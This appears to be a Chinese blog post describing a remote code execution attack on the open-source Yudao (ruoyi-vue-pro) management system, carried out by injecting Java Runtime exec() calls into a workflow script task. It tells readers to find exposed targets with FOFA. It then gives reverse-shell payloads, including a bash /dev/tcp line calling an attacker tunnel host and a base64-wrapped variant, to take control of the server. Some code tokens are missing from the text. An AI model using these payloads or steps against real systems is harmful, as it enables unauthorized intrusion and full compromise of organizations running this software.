漏洞系统搭建/漏洞系统扫描-零基础渗透技巧
本帖旨在于技术交流,请勿进行非法攻击行为。
芋道管理系统是当前gitee上最受欢迎的开源系统,其收到的Start数量已经超过50k,该系统集成多种功能于一身,被众多企业所接受。但是越强大的的功能则越容易引入高风险的安全问题,通过代码审计发现该系统集成了流程组件,该组件通过解析xml模板实现流程部署与执行,我们可以利用其支持解析动态脚本的特性注入恶意代码,从而实现RCE,接下来我们将针对该漏洞进行简要分析。
项目信息:
芋道源码
Ruoyi-vue-pro

一、资产定位
通过fofa搜索 芋道管理系统 即可

二、攻击示例
新建一个流程模板

设计模板
新增一个脚本任务,脚本类型设置为,脚本内容为java.lang..().exec()
此时我们先用探测一下命令是否真的能够执行

保存模型,绑定表单,发布流程

进入我的流程发起一个新的流程,此时命令已经触发

通过监听到了域名解析请求,证明命令成功执行

三、
懒得搞,直接反弹shell吧
1.利用花生壳进行内网穿透
具体操作可以百度,这里不进行详细介绍,其实你也可以自己买一个云服务器进行监听
参考:

2.构造POC
这里容易踩坑,java.lang..().exec()是不能直接进行多参数命令处理的,而反弹shell的命令需要包含多个参数
java.lang..().exec("bash -i>& /dev/tcp/.zicp.fun/50392 0>&1");
上述命令会报错,不能执行
我们需要转换为的命令形式S
java.lang..().exec("bash -c {echo,==}|{,-d}|{bash,-i}");
参考:
重复上述第二步,再次发起一个流程,我们可以在Kali上监听到反弹过来的shell,从而获取系统控制权。


四、总结
其实流程脚本任务不仅支持JS脚本,还支持,等脚本,其底层原理则是调用java中对应语言的解析函数,如JS脚本则是调用了中的eval函数。据了解,流程引擎还支持表达式解析,所以该组件还存在其它的注入可能,以上仅对脚本注入的攻击形式进行了简单的探讨。这样的漏洞适用于几乎所有集成流程管理功能的系统,比如若依、Guss等系统均存在此类问题。
~
网络安全学习,我们一起交流
~


336

被折叠的 条评论
为什么被折叠?



